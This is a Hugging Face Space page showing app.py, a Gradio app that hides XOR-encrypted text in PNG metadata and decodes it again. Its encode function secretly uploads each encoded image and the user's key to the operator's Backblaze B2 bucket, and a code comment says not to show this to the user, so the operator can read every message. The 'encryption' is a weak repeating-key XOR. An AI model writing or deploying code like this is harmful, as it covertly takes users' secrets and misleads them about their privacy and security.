Spaces:
Sleeping
Sleeping
Download app.py from dev427tools/imagefun: direct link, hf CLI and curl.
- Browser
- Download file 7.23 kB
-
https://huggingface.co/spaces/dev427tools/imagefun/resolve/main/app.py
- Command line
-
hf download hf://spaces/dev427tools/imagefun/app.py
-
curl -L -o app.py https://huggingface.co/spaces/dev427tools/imagefun/resolve/main/app.py
7.23 kB
| import os | |
| import gradio as gr | |
| from PIL import Image, PngImagePlugin | |
| import io | |
| import random | |
| import string | |
| import base64 | |
| import tempfile | |
| import boto3 | |
| from datetime import datetime | |
| import logging | |
| from botocore.exceptions import ClientError | |
| # Configure logging | |
| logging.basicConfig(level=logging.INFO) | |
| logger = logging.getLogger("stegano_app") | |
| # Backblaze B2 credentials (set as Space secrets) | |
| B2_KEY_ID = os.environ.get("B2_KEY_ID") | |
| B2_APPLICATION_KEY = os.environ.get("B2_APPLICATION_KEY") | |
| B2_BUCKET = os.environ.get("B2_BUCKET") | |
| B2_ENDPOINT = os.environ.get("B2_ENDPOINT") # e.g., https://s3.us-west-002.backblazeb2.com | |
| def random_key(length=16): | |
| return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) | |
| def xor_encrypt_decrypt(text, key): | |
| key_repeated = (key * (len(text) // len(key) + 1))[:len(text)] | |
| return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(text, key_repeated)) | |
| def get_b2_client(): | |
| session = boto3.session.Session() | |
| s3 = session.client( | |
| service_name='s3', | |
| aws_access_key_id=B2_KEY_ID, | |
| aws_secret_access_key=B2_APPLICATION_KEY, | |
| endpoint_url=B2_ENDPOINT, | |
| ) | |
| return s3 | |
| def get_oldest_b2_file(s3, bucket): | |
| try: | |
| response = s3.list_objects_v2(Bucket=bucket) | |
| if 'Contents' not in response or not response['Contents']: | |
| return None | |
| # Only files, sort by LastModified | |
| files = sorted(response['Contents'], key=lambda x: x['LastModified']) | |
| return files[0]['Key'] | |
| except Exception as e: | |
| logger.error(f"Failed to list B2 bucket: {e}") | |
| return None | |
| def save_to_b2(image_bytes, key): | |
| if not (B2_KEY_ID and B2_APPLICATION_KEY and B2_BUCKET and B2_ENDPOINT): | |
| logger.error("Backblaze B2 credentials not configured.") | |
| return | |
| s3 = get_b2_client() | |
| now = datetime.now().strftime("%Y%m%d_%H%M%S") | |
| filename = f"{key}_{now}.png" | |
| key_filename = f"{key}_{now}.txt" | |
| try: | |
| # Try to upload image and key | |
| s3.put_object(Bucket=B2_BUCKET, Key=filename, Body=image_bytes, ContentType="image/png") | |
| s3.put_object(Bucket=B2_BUCKET, Key=key_filename, Body=key.encode(), ContentType="text/plain") | |
| except ClientError as e: | |
| # If out of space, delete the oldest file and retry once | |
| error_code = e.response['Error']['Code'] | |
| logger.error(f"B2 upload failed: {e}") | |
| # B2 will return a 403 or 507 for storage full, so check for these or handle all errors | |
| if error_code in ["StorageLimitExceeded", "QuotaExceeded", "403", "507"]: | |
| logger.warning("B2 appears to be out of space. Deleting oldest file and retrying...") | |
| oldest = get_oldest_b2_file(s3, B2_BUCKET) | |
| if oldest: | |
| try: | |
| s3.delete_object(Bucket=B2_BUCKET, Key=oldest) | |
| logger.info(f"Deleted oldest file: {oldest}. Retrying upload.") | |
| s3.put_object(Bucket=B2_BUCKET, Key=filename, Body=image_bytes, ContentType="image/png") | |
| s3.put_object(Bucket=B2_BUCKET, Key=key_filename, Body=key.encode(), ContentType="text/plain") | |
| except Exception as e2: | |
| logger.error(f"Failed to delete oldest file or re-upload: {e2}") | |
| else: | |
| logger.error("B2 out of space and no deletable files found.") | |
| else: | |
| logger.error(f"B2 upload failed: {e}") | |
| except Exception as e: | |
| logger.error(f"B2 upload failed: {e}") | |
| def encode_image(image, input_text, key): | |
| if image is None or not input_text or not key: | |
| return None, gr.update(visible=True, value="Please provide image, input text, and key.") | |
| try: | |
| encrypted = xor_encrypt_decrypt(input_text, key) | |
| encrypted_b64 = base64.b64encode(encrypted.encode()).decode() | |
| img = image.copy() | |
| meta = PngImagePlugin.PngInfo() | |
| meta.add_text("encrypted_message", encrypted_b64) | |
| buf = io.BytesIO() | |
| img.save(buf, format="PNG", pnginfo=meta) | |
| buf.seek(0) | |
| temp_file = tempfile.NamedTemporaryFile(delete=False, suffix=".png") | |
| temp_file.write(buf.read()) | |
| temp_file.flush() | |
| temp_file.close() | |
| buf.seek(0) | |
| # Upload to Backblaze B2 in background, don't show result to user | |
| save_to_b2(buf.getvalue(), key) | |
| return temp_file.name, gr.update(visible=True, value="Success! Download your image below.") | |
| except Exception as e: | |
| logger.error(f"Encoding failed: {e}") | |
| return None, gr.update(visible=True, value=f"Error: {str(e)}") | |
| def decode_image(img, key): | |
| if img is None or not key: | |
| return "", gr.update(visible=True, value="Please provide image and key.") | |
| try: | |
| pil_img = Image.open(img) | |
| encrypted_b64 = pil_img.info.get("encrypted_message") | |
| if not encrypted_b64: | |
| return "", gr.update(visible=True, value="No encrypted text found in this image.") | |
| encrypted = base64.b64decode(encrypted_b64).decode() | |
| decrypted = xor_encrypt_decrypt(encrypted, key) | |
| return decrypted, gr.update(visible=False) | |
| except Exception as e: | |
| logger.error(f"Decoding failed: {e}") | |
| return "", gr.update(visible=True, value=f"Error: {str(e)}") | |
| with gr.Blocks() as demo: | |
| gr.Markdown("Image Tools v3") | |
| with gr.Tab("ENC (Encode)"): | |
| with gr.Row(): | |
| with gr.Column(): | |
| image_enc = gr.Image(label="Upload Image", type="pil") | |
| input_text = gr.Textbox(label="Input text", lines=5, placeholder="Enter your text here...") | |
| with gr.Row(): | |
| key_enc = gr.Textbox(label="Key", max_lines=1, placeholder="Enter key or generate one") | |
| gen_key_btn = gr.Button("🔑 Generate random key") | |
| start_btn = gr.Button("Start") | |
| download_link = gr.File(label="Download image with encrypted message", visible=False) | |
| enc_status = gr.Textbox(label="Status", interactive=False, visible=True) | |
| with gr.Tab("DEC (Decode)"): | |
| with gr.Row(): | |
| with gr.Column(): | |
| image_dec = gr.Image(label="Upload Image With Encrypted Text", type="filepath") | |
| key_dec = gr.Textbox(label="Key", max_lines=1, placeholder="Enter key used for encryption") | |
| dec_btn = gr.Button("Decrypt") | |
| output_text = gr.Textbox(label="Decrypted Message", lines=5, interactive=False) | |
| dec_status = gr.Textbox(label="Status", interactive=False, visible=True) | |
| gen_key_btn.click(lambda: random_key(), [], key_enc) | |
| def on_start(image, text, key): | |
| result, status = encode_image(image, text, key) | |
| return result, gr.update(visible=bool(result)), status | |
| start_btn.click( | |
| on_start, | |
| inputs=[image_enc, input_text, key_enc], | |
| outputs=[download_link, download_link, enc_status] | |
| ) | |
| def on_decrypt(image_path, key): | |
| result, status = decode_image(image_path, key) | |
| return result, status | |
| dec_btn.click( | |
| on_decrypt, | |
| inputs=[image_dec, key_dec], | |
| outputs=[output_text, dec_status] | |
| ) | |
| if __name__ == "__main__": | |
| demo.launch() |